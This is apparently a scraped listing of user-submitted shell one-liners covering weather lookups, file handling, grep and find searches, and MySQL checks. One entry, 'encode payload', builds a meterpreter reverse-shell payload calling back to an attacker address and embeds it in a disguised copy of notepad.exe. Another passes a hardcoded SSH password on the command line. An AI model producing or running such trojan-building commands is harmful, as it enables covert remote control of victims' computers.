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Get weather

Uses the Wunderground web API to get weather data. Change the STA variable to a station near you. Show Sample Output
This is sample output - yours may be different.
```
West@8.0mph 56.2F
```
-1

STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=${STA} D=($(curl -s $PAG | sed -n 's/.*<$temp_f\|wind_dir\|wind_mph$>$.*$<\/.*/\2/p')) echo ${D[1]}@${D[2]}mph ${D[0]}F

sud0er · 2010-10-28 00:40:28 10
automate web search and open tabs in firefox

tired of opening tabs and fill in search forms by hand? just pipe the search terms you need into this surfraw loop. you can use any browser you have installed, but a graphical browser with a tabbed interface will come in handy. surfraw can be found here: http://surfraw.alioth.debian.org
This is sample output - yours may be different.
-1

cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done

bubo · 2011-05-12 09:27:08 2
Download latest Git setup executable for Windows

This command should be copy-pasted in Windows, but very similar one will work on Linux. It uses wget and sed.
This is sample output - yours may be different.
-1

wget --no-check-certificate https://code.google.com/p/msysgit/downloads/list -O - 2>nul | sed -n "0,/.*$\/\/msysgit.googlecode.com\/files\/Git-.*\.exe$.*/s//http:\1/p" | wget -i - -O Git-Latest.exe

michfield · 2012-11-14 08:17:50 8
Go back to the previous directory.
This is sample output - yours may be different.
-1

cd -

m13a · 2009-02-06 09:35:18 11
Perl One Liner to Generate a Random IP Address

Show Sample Output
This is sample output - yours may be different.
```
108.134.80.236
```
-1

perl -e 'printf "%vd\n",pack "N",rand 256**4'

seungwon · 2011-01-18 06:10:18 3
Login To SSH Server / Provide SSH Password Using A Shell Script

You can use sshpass command to provide password for ssh based login. sshpass is a utility designed for running ssh using the mode referred to as "keyboard-interactive" password authentication, but in non-interactive mode.
This is sample output - yours may be different.
-1

sshpass -p 't@uyM59bQ' ssh username@server.example.com

djyoda · 2012-02-13 09:51:41 4
Move all epub keyword containing files to Epub folder
This is sample output - yours may be different.
-1

mkdir Epub ; mv -v --target-directory=Epub $(fgrep -lr epub *)

pdxdoughnut · 2014-01-16 01:07:29 7
Remove an unnecessary suffix from a file name for all files in a directory

For this example, all files in the current directory that end in '.xml.skippy' will have the '.skippy' removed from their names.
This is sample output - yours may be different.
-2

for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done

argherna · 2009-11-19 21:36:26 20

Exim version

Prints out the version of exim Show Sample Output

-2

exim -bV

wr8cr8 · 2010-07-22 13:23:03 5

Multiline read

Reads n lines from stdin and puts the contents in a variable. Yes, I know the read command and its options, but find this logical even for one line. Show Sample Output
This is sample output - yours may be different.
```
$ A=$(head -3)
Line1
line2
line3

$ echo "$A"
Line1
line2
line3
```
-2

VAR=$(head -5)

rodolfoap · 2014-04-05 13:45:18 7
Search for a string in all files recursively
This is sample output - yours may be different.
-2

grep string * -R

root · 2018-05-28 02:09:58 207
Checks all MySQL tables

See http://dev.mysql.com/doc/refman/5.0/en/myisamchk.html for further details. You can also repair all tables by running: myisamchk -r *.MYI
This is sample output - yours may be different.
-2

myisamchk /path/to/mysql/files/*.MYI

root · 2009-01-22 10:20:00 133
transform relative URLs (shoddy hack but it works)

The "-k" flag will tell wget to convert links for local browsing; it works with mirroring (ie with "-r") or single-file downloads.
This is sample output - yours may be different.
-2

wget -k $URL

minnmass · 2010-08-21 17:39:53 3
search for the content in a directory
This is sample output - yours may be different.
-2

find . -exec grep "test" '{}' /dev/null \; -print

rbattu · 2009-02-06 10:49:00 13
Bulk install

I used this to mass install a lot of perl stuff. Threw it together because I was feeling *especially* lazy. The 'perl' and the 'module' can be replaced with whatever you like.
This is sample output - yours may be different.
-2

apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y

captwheeto · 2010-11-26 14:00:39 3
remove files and directories with acces time older than a given date

remove files with access time older than a given date. If you want to remove files with a given modification time replace %A@ with %T@. Use %C@ for the modification time. The time is expressed in epoc but is easy to use any other format. Show Sample Output
This is sample output - yours may be different.
```
~/tmp$ find . -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < 1258734167 ) print $1 ;}' | xargs rm --verbose -fr ;
removed `./file_1'
removed `./file_2'
removed `./file_3'
removed `./file_4'
removed `./file_5'
removed `./file_6'
removed `./file_7'
removed `./file_8'
removed `./file_9'
```
-2

find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;

angleto · 2009-11-20 16:31:58 9
transfer files locally to be sure that file permissions are kept correctly showing progress

This may seem like a long command, but it is great for making sure all file permissions are kept in tact. What it is doing is streaming the files in a sub-shell and then untarring them in the target directory. Please note that the -z command should not be used for local files and no perfomance increase will be visible as overhead processing (CPU) will be evident, and will slow down the copy. You also may keep simple with, but you don't have the progress info: cp -rpf /some/directory /other/path Show Sample Output
This is sample output - yours may be different.
```
7MB 0:00:01 [59.7MB/s] [============>        ] 57% ETA 0:00:00
```
-2

dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path

starchox · 2010-01-19 19:05:45 3
Recursively remove all empty directories

Remove all empty directories below the current directory. If directories become empty as the results of this, remove those too.
This is sample output - yours may be different.
-2

find . -type d | tac | xargs rmdir 2> /dev/null

drmaciver · 2010-03-23 11:54:38 6
Remove dashes in UUID

Remove dashes, also validates if it's a valid UUID (in contrast to simple string-replacement)
This is sample output - yours may be different.
-2

python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;"

mackaz · 2011-11-20 10:35:44 27
VI/VIM Anonymize email address in log file

The number 5 means to replace the leading and trailing 5 characters of an "@" in a log file with XXXX@XXXXX.
This is sample output - yours may be different.
-2

%s/.\{5\}@.\{5\}/XXXXX@XXXXXX/g

dasmna · 2019-12-12 15:37:17 93
finds all files that contain "some string"
This is sample output - yours may be different.
-2

find . -type f -exec grep -l "some string" {} \;

dckt · 2012-11-15 10:14:21 4
Find errors in your php website

If your site is struck with the white screen of death you can find the syntax error quickly with php lint
This is sample output - yours may be different.
-2

find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"

ejrowley · 2010-07-23 08:09:47 3
Show last argument

used to output the last argument. www.fir3net.com Show Sample Output
This is sample output - yours may be different.
```
[root@server ~]# mkdir /root/test
[root@server ~]# cd !$
cd /root/test
```
-2

echo !$

felix001 · 2011-02-21 21:05:56 3
encode payload
This is sample output - yours may be different.
-2

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe

kev · 2011-09-09 18:33:47 8
Find all files with setuid bit
This is sample output - yours may be different.
-2

find / -xdev $ -perm -4000 $ -type f -print0 | xargs -0 ls -l

anhpht · 2012-11-16 01:11:53 5
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resume scp-filetransfer with rsync

resume a partial scp-filetransfer with rsync

Calculate N!

Same as the seq/bc solution but without bc.

for all who don't have the watch command

Displaying system temperature

Displaying system temperature your system . shellcode version @ http://inj3ct0r.com/exploits/12554

static compilation

Prepend a text to a file.

Using the sed -i (inline), you can replace the beginning of the first line of a file without redirecting the output to a temporary location.

check open ports without netstat or lsof

Convert CSV to JSON

Replace 'csv_file.csv' with your filename.

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Scan for nearby Bluetooth devices.

Scans local area for visible Bluetooth devices. Use 'hcitool inq' to discover the type of device it is. And use -i hciX option to specify the local Bluetooth device to use.

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